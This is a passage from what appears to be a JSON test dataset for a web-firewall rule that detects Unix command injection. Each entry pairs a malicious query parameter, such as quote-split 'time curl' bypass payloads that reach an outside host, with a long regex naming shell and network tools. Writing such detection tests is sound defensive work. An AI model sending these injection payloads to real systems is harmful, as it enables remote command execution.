ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Positive test: Unix Command Injection - busybox test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=time+bsdtar+" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)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*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Remote Command Execution bypass with time" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=time+warner+" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\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(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Remote Command Execution bypass with time negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=time+curl+coreruleset.org" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\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b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Remote Command Injection test for BB finding 935E1D91" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=ti''me+curl+coreruleset.org" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*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ybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s